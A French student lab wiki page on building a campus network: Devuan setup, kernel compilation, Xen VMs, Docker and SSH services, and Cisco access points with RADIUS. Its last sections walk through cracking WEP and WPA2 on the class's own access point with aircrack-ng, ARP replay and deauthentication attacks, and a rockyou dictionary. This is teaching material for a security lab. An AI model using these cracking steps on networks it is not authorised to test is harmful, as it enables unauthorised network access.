TP sysres IMA2a5 2018/2019 G5

De Wiki d'activités IMA

Introduction

Le projet a pour but de mettre en place un réseau sur 2 salles du bâtiment E de polytech constitué de 2 routeurs, 2 commutateurs, 2 bornes Wifi et un serveur. Chaque groupe dispose de machines virtuelles sur le serveur, qui permettront de constituer chacun un domaine acheté sur GANDI. Les routeurs et commutateurs seront configurés à l'aide de netbooks configurés par nos soins.

Configuration des netbooks

Présentation de Devuan GNU/Linux

Devuan (à prononcer "Dev One" à l'anglaise) est un fork de Debian lancé en novembre 2014, afin de proposer une alternative à Debian sans systemd, un paquet développé par Lennart Poettering, un développeur de chez Red Hat. Il est controversé pour les raisons suivantes :

  • Son manque de respect pour la philisophie UNIX (KISS : "Keep It Simple Stupid"), le projet était au départ un simple init pour remplacer System V, puis s'est finalement vu octroyer de nombreux pouvoirs, notamment le remplacement de logind, udev et dbus
  • Sa redondance avec les fonctionnalités faisant partie de l'OS et de la plupart des paquets existants, notamment la commande journalctl qui est si indispensable qu'on peut obtenir des résultats tout aussi pertinents en tapant un simple dmesg, ou un cat /var/log/CeQuiNousInteresse.log, on peut donc en conclure que des ressources supplémentaires sont consommées inutilement pour réalisée 2 fois une même tâche
  • Les développeurs et mainteneurs des distributions l'utilisant (Debian, Ubuntu, Mint, Arch, etc.) tenant tant à ce paquet, ils en font une dépendance à beaucoup de paquets, l'OS devient donc vite inutilisable, ou du moins inutile sans systemd.

Ainsi, Devuan est une distribution permettant de s'affranchir de systemd, on remarquera une baisse de la consommation des ressources : pour un shell sans Xorg avec Systemd 56 MB de RAM sont consommés, 28 MB sans systemd. La dernière du nom est la version 2.0 "ASCII", basée sur Debian 9 "Stretch". Il est même possible d'effectuer une migration depuis cette dernière factilement.

Migration de Debian Stretch vers Devuan Ascii

Modification du fichier /etc/apt/sources.list :

deb [trusted=yes]http://fr.deb.devuan.org/merged ascii main contrib non-free

Lancement de la migration (à effectuer sous session root) :

#apt dist-upgrade
#apt upgrade
#apt purge systemd

Quelques systèmes d'exploitation UNIX-Like fonctionnant également très bien sans Systemd

Nom Basée sur Init
Devuan Debian sysv + rc
Artix Arch runit ou openrc
Slackware indépendante sysv + rc
Void Linux Indépendante runit
FreeBSD Indépendante propre à BSD
TrueOS FreeBSD openrc

Installation du système d'exploitation

Devuan est une distribution "clefs en main", très accessible aux utilisateurs qui ne sont pas familiers à Linux, tout est assisté pour simplifier au maximum l'installation. Dans notre cas, le partitionnement a été effectué manuellement, afin d'éviter que la partition de Windows soit accidentellement supprimée.

Configuration et personnalisation

L'environnement de bureau installé sur Eperlan est i3wm, une interface dite "tiling" : les fenêtres se comportent comme des tuiles et sont arrangées pour utiliser toute la surface de l'écran. L'interface consomme peu, ce qui permet d'avoir une meilleure autonomie par rapport à des interfaces plus complètes comme KDE, GNOME ou XFCE.

Personnalisation de l'environnement de bureau

Le paquet et toute sa documentation sont disponibles sur le site officiel d'i3. Installation d'i3 :

apt install i3 i3status i3lock dmenu xcompmgr slim feh

Configuration de Xorg :

X -configure

On s'assure que le fichier /root/xorg.conf.new est cohérent


Section "Device"
    Identifier "Card0"
    Driver    "intel"
    BusID     "PCI:X:Y:Z"
EndSection

Avec X, Y, et Y étant les même ID que ceux affichés quand on saisit la commande

lspci | grep VGA

L'émulateur de terminal utilisé est rxvt-unicode, une version de rxvt qui prend en charge les caractères UTF-8, qu'on personnalisera. Installation de rxvt-unicode :

#apt install rxvt-unicode

Personnalisation de rxvt dans le fichier ~/.Xdefaults :

urxvt*transparent:  true
urxvt*shading: 20
urxvt.scrollBar: false
urxvt.foreground: #cccccc
urxvt.background: #111111

Installation d'un package qui permet l'affichage sur console d'un résumé du système :

apt install neofetch

Personnalisation de i3wm : modification du fichier ~/.config/i3/config

#Arrière-plan personnalisé
exec feh --bg-scale /chemin/vers/limage.jpg
#Modification du terminal par défaut
binsym $mod+Return exec urxvt
Personnalisation du shell

Installation du Z shell

apt install zsh

Installation du greffon Oh My Zsh, un outil permettant d'exploiter au mieux toutes les capacités du shell pour lequel il a été conçu :

apt install curl
apt install git
sh -c "$(curl -fsSL https://raw.github.com/robbyrussell/oh-my-zsh/master/tools/install.sh)"

Modification du fichier ~/.zshrc pour un thème plus sobre et dépourvu de tout caractère exotique :

ZSH_THEME="afowler"

Devuan eperlan.png

Personnalisation de l'initialisateur

Runit est un initialisateur développé et maintenu par la communauté de Void Linux, c'est l'init par défaut de Void Linux, et d'Artix Linux. Il peut être installé sur Devuan comme ceci :

apt install runit runit-sysv

Il fonctionne avec 3 niveaux d'exécution, et les services pouvant être lancés au démarrage sont dans les sous-dossiers de /etc/service/ Chaque sous-dossier inclut un script exécutable appelé run, comme par exemple SDDM sous Artix Linux : /etc/service/sddm/run

#!/bin/sh
set -e
sv check elogind >/dev/null || exit 1
sleep 1
mkdir -p /var/lib/sddm
chown -R sddm:sddm /var/lib/sddm
exec sddm 2>&1

Lancement d'un service, réitérations en cas d'échec :

sv up sddm

Arrêt d'un service :

sv down sddm

Lancement d'un service, abandon en cas d'échec :

sv once sddm

Vérification de l'état d'un service :

sv status sddm

Exemple d'un service en bon état de fonctionnement :

run: sddm: (pid 1207) 373s

On constatera que le PID du processus permettant le bon fonctionnement du service ainsi que le temps depuis qu'il est en vie sont affichés Exemple d'un service non fonctionnel :

down: sddm: 2s, normally up

Recompilation du noyau

Téléchargement du code source du noyau (dernière version stable le 7/12/2018, disponible sur https://www.kernel.org ):

curl https://cdn.kernel.org/pub/linux/kernel/v4.x/linux-4.19.7.tar.xz

Décompression du tarball :

tar -C /usr/src -xf linux-4.19.7.tar.xz

Installation de paquets nécessaires à la configuration et la compilation:

apt install libncurses-dev flex bison initramfs-tools libssl-dev libelf-dev

Configuration du kernel, des options de compilation, des drivers à intégrer en natif ou en modules avec un menu classique:

make menuconfig

Configuration avec une interface plus récente :

make nconfig

Récupération du fichier de configuration du kernel actuellement lancé :

zcat /proc/config.gz > /usr/src/linux-4.19.7/.config

NB : à utiliser avec précaution depuis un noyau générique, tout est intégré et la compilation peut être très longue et peut nécessiter énormément d'espace disque Compilation du noyau seulement :

make bzImage

Compilation des modules seulement :

make modules

Compilation du noyau et des modules :

make

Ou éventuellement si les ressources du PC le permettent :

make -jN

Avec N le nombre de threads à utiliser (à utiliser avec précaution, un N trop élevé peut nuire à la stabilité du système, ne pas tenter un make -j8 avec un processeur AMD-K6 et 224MB de RAM, le résultat est médiocre..) Installation du noyau et des modules

make install

Installation manuelle du noyau:

cp /usr/src/linux-4.19.7/arch/x86/boot/bzImage /boot/vmlinuz-4.19.7
update-initramfs -u -k all
update-grub

NB : update-grub si et seulement si grub est le bootloader installé, pour Lilo (LInux LOader, présent par défaut sur Slackware), on modifiera manuellement le fichier /etc/lilo.conf en conséquence, puis on exécutera la commande

lilo

Pour les OS utilisant systemd-boot, on saisira la commande suivante :

apt install grub os-prober
grub-install /dev/sdXi #X étant le disque amorçable et i l'éventuel index de partition

Installation des modules seulement:

make modules_install

Si la configuration est bonne, on peut espérer un démarrage correct, On pourra vérifier que tout s'est correctement passé en saisissant cette commande :

dmesg

Installation du réseau : connexion des routeurs, commutateurs, bornes WiFi et du serveur Cordouan

Archi reseau17112018.png

Mise en place du serveur

Préparation et configuration des machines virtuelles

Création de la machine virtuelle

La machine virtuelle est crée sur le serveur Cordouan :

ssh root@corouan.insecserv.deule.net

Création de la machine virtuelle :

xen-create-image --hostname=triple-karmeliet --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.devuan.org/merged/ --force

Démarrage/Arrêt/Redémarrage de la machine virtuelle

Démarrage de la machine virtuelle : xl create /etc/xen/triple-karmeliet.cfg

Accès à la machine virtuelle : xl console triple-karmeliet

On peut revenir à la machine hôte sans arrêter la MV avec la combinaison ctrl+]

Arrêt de la machine virtuelle depuis l'hôte : xl destroy triple-karmeliet

Correction du bug d'affichage du message "mdadm: Duplicate MD device names...."

La machine virtuelle fraichement créée démarre, mais après l'affichage répétitif d'un message d'erreur avant de permettre d'ouvrir une session. L'erreur peut être corrigée avec la reconstruction de l'initramfs. Petite contrainte : on n'installera rien sur le serveur par respect pour son propriétaire. Dans la machine hôte, on crée un dossier d'amorçage dans le dossier de la machine virtuelle :

cd /usr/local/xen/domains/triple-karmeliet/
mount ./disk.img /mnt
cp -r /boot /mnt/boot

Dans la machine virtuelle maintenant :

update-initramfs -ut -k $(uname -r)

Si le message suivant apparaît :

The initramfs will attempt to resume from /dev/xvda2
(UUID=uuidDuSysteme)
set the RESUME variable to override this

On tapera alors la commande

export RESUME="UUID=uuidDuSysteme"

Ou éventuellement avec CSH ou TCSH

setenv RESUME "UUID=uuidDuSysteme"

Puis on réitère la commande. De retour sur la machine hôte :

cp -r /mnt/boot/ /usr/local/xen/domains/triple-karmeliet/boot

Modification de /etc/xen/triple-karmeliet.cfg

kernel  = '/usr/local/xen/domains/triple-karmeliet/boot/vmlinuz-4.14.0-3-amd64'
ramdisk = '/usr/local/xen/domains/triple-karmeliet/boot/initrd.img-4.14.0-3-amd64'

Au redémarrage de la MV, on constate que le message d'erreur ne survient plus.

Adaptation de la machine virtuelle à l'architecture réseau du projet

Modification du fichier /etc/xen/triple-karmeliet.cfg

vif = [ 'mac=00:16:3E:A8:74:CA, bridge=IMA2A5']

Coordonnées IP statiques de la machine virtuelle sur le fichier /etc/network/interfaces

auto eth0
address 193.48.57.166
netmask 255.255.255.240
gateway 193.48.57.173
gateway 193.48.57.174

Personnalisation des points de montage /var et /home

Création de 2 volumes de 10GB sur la machine hôte :

lvcreate -L10G -n triple-karmeliet-home virtual
lvcreate -L10G -n triple-karmeliet-var virtual

Formatage des volumes :

mkfs.ext4 /dev/virtual/triple-karmeliet-home
mkfs.ext4 /dev/virtual/triple-karmeliet-var

Inclusion des volumes dans la machine virtuelle en modifiant /etc/xen/triple-karmeliet.cfg :

root = '/dev/xvda2 ro'
disk = [
           'file:/usr/local/xen/domains/triple-karmeliet/disk.img,xvda2,w',
           'file:/usr/local/xen/domains/triple-karmeliet/swap.img,xvda1,w',
           'phy:/dev/virtual/triple-karmeliet-home,xvdb1,w',
           'phy:/dev/virtual/triple-karmeliet-var,xvdb2,w'
       ]

Installation de Docker

Docker est disponible pour Debian et ses dérivés après quelques commandes :

apt install apt-transport-https ca-certificates curl gnupg2 software-properties-common
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -
apt-key fingerprint 0EBFCD88

Modification du fichier /etc/apt/sources.list

deb https://download.docker.com/linux/debian stretch stable

Installtion de docker

apt update ; apt install docker-ce

Création du service dockerd lancé au démarrage par runit :

mkdir /etc/service/dockerd

/etc/service/dockerd/run

#!/bin/sh
/usr/bin/dockerd

Octroiement de l'autorisation d'exécution du fichier run chmod +x /etc/service/dockerd/run

Installation des serveurs SSH, DNS et https

Installation du serveur ssh :

apt install openssh-server

Création du service sshd lancé au démarrage par runit :

mkdir /etc/service/sshd

/etc/service/sshd/run

#!/bin/sh
ssh-ketgen -A >/dev/null 2>&1
[ -r conf ] && . ./conf
exec /usr/sbin/sshd -D $OPTS

Octroiement de l'autorisation d'exécution du fichier run

chmod +x /etc/service/sshd/run

Configuration des points d'accès

Dans cette partie, on dispose de deux bornes wifi a configurer, la premiére en E306 et l'autre en E304, en utilisera le server FreeRadius pour l'identification. Pour cela, voici le procédé :

1/ Acceder à la configuration de la borne wifi :

   minicom -os

On modifiant ttyACM0 par exemple, avec 9600 bauds et sans control de flux.

2/ Se mettre en mode previligié :

   enable   // avec "Cisco" comme mot de passe.

3/ Se mettre en mode configuration :

   config term

// On peut verifier également la configuration de la borne avant de la modifier, avec la commande "show run"

4/ Pour utiliser le system en 'authentication, authorization, and accounting', il faut cette commande :

   aaa new-model

5/ On cree un server radius pour un utilisateur :

   radius-server host < ip_groupe1 > auth-port 1812 acct-port 1813  // on remplace ip_groupe1 par l'ip du groupe (de la VM) , avec comme port d'authentification 1812,et accounting 1813

6/ On defini le server group :

   aaa group server radius radius_groupe1  // on remplace groupe1 par le nom du groupe (ex: Coreff)

7/ Puis, on associe à se groupe de server le server creer sur la VM:

   server <ip_group1> auth-port 1812 acct-port 1813

8/ Ensuite, on defini le login et le groupe server que l'utilisateur passera pour s'authentifier :

   aaa authentication login eap_group1 group radius_group1   // groupe1 remplacé par le nom du groupe

NB : Les commandes 4 à 8, sont à faire pour chaque groupe de la promo.


9/ On arrive à la création des SSID, protégé par la méthode WPA2-EAP, on rajoutant le vlan du group :

   dot11 ssid SSID_GROUP                 // exemple : SSID_Coreff
   vlan vlan_groupe1                     // le vlan du groupe (ex : 2 )
   authentication open eap eap_group1
   authentication network-eap eap_group1
   authentication key-management wpa

NB : cette derniere commande est a faire pour chaque groupe.


10/ Configurer les vlans des groupes :

   interface Dot11Radio0                                   // on rentre d'abord dans l'interface Dot11Radio0
   encryption vlan vlan_groupe mode ciphers aes-ccm tkip   // Cette ligne est a faire pour chaque vlan, qui servira à chiffrer les paquets


Pour pouvoir se connecter au réseau, il faudra relier l'interfaces virtuelle à l'interface gigabites, via des 'bridge-groupe', et comme on a plusieur utilisateurs, donc il faut creer autant des sous-interfaces dot11radio0 et puis la relier aux sous-interfaces gigabites.


11 / Creer une sous-interface pour chaque utilisateur, en donnant à l'instance le numéro du vlan :

   interface dot11Radio0.num_vlan                          //  num_vlan a remplacer par le numéro du vlan 
   encapsulation dot1Q num_vlan
   bridge-groupe num_vlan


12/ Creer une sous-interface gigabite pour chaque utilisateur, en donnant à l'instance le numéro du vlan :

  interface gigabite0.num_vlan
  encapsulation dot1Q num_vlan
  bridge-groupe num_vlan


13/ Ajouter les SSID à l'interface Dot11Radio0

   interface Dot11Radio0                                 // se mettre dans la bonne interface (i.e Dot11Radio0)
   ssid SSID_groupe                                     // on remplace "groupe" par le nom du groupe de la promo        /* CETTE COMMANDE EST À FAIRE POUR TOUT LES SSID */


14/ rendre les SSID visibles :

   interface Dot11Radio0                               
   mbssid                                               // Il faut rajouter l'option "mbssid" à l'interface Dot11Radio0
   dot11 ssid SSID_groupe
   mbssid guest-mode                                    // mettre les ssid en guest-mode pour qu'il soient visibles.         /* CES COMMANDES SONT À FAIRE POUR CHAQUE SSID */
   


Crackage de la clé WEP

Pour cette partie, on avait un soucis avec le wifi du notebook, donc on a utilisé clé wi-pi.

Le process est assez simple, où il faut installer d'abord le package "aircrack-ng" :

   apt-get install aircrack-ng


en utilisant la commande "airmon-ng", on liste les interface disponibles :

   airmon-ng
  
   Airmon.png


On repére notre interface wlan, donc on va la démarrer :

   airmon-ng start wlan0mon                              // le nom original est trop long pour linux, donc il a été renomé " wlan0mon"
   Airmon start.png


Aprés avoir tuer les process, l'interface est prête pour le crackage.

1/ Lister les réseaux, avec des informations sur le trafic :

   airodump-ng -i wlan0mon  -c9                           // On écoute sur le canal 9  
   Airodump c9.png

2/ On peut simuler une association entre le eeePC et le point d'accès pour augmenter le trafic:

   aireplay-ng -1 0 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:2E:DC  wlan0mon       // l'adresse MAc du réseau ' cracotte 06' et puis la station associé
   Association.png

3/ Ensuite on utilise l'attaque avec les paquets ARP :

   aireplay-ng -3 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:2E:DC -e cracotte06 wlan0mon

Les arp request sont sauvegardés dans le fichier "replay_arp-1130-104715.cap" On laisse tourner cette commande sur un terminal, et on ouvre un autre terminal pour la commande suivante

4/ Cracker la clé :

   aircrack-ng replay_arp-1130-104715.cap

On choisit le numéro 6 => cracotte06

   Cracker.png


Cassage du WPA2

Dans cette partie, on utilisera la méthode du dictionnaire, vu qu'elle est plus rapide que celle de la force brute.

Pour cela, on procede ainsi :

1/ Ecouter le trafic réseau et le sauvegarder dans le fichier resultat :

   airodump-ng -w resultat -c9 wlan0mon                                      // on laisse tourner cette commande dans un terminal
   

2/ On utilise aireplay-ng avec l'option de désauthentification, qui nous permettra de recuperer le Handshake :

   aireplay-ng -0 0 -a 04:DA:D2:9C:50:50 -c 40:A5:EF:0F:68:CB wlan0mon
   Handshake.png

3/ On télécharge un dictionnaire, qui nous aidera a trouver la bonne combinaison, et une fois on a le handShake, on applique le fichier dictionnaire à aircrack-ng :

   aircrack-ng -0 -w /home/pifou/Downloads/rockyou.txt  resultat-03.cap      // le word list dans ce cas est le fichier rockyou.txt
   Crack.png


Et cela, peut prendre beaucoup de temps....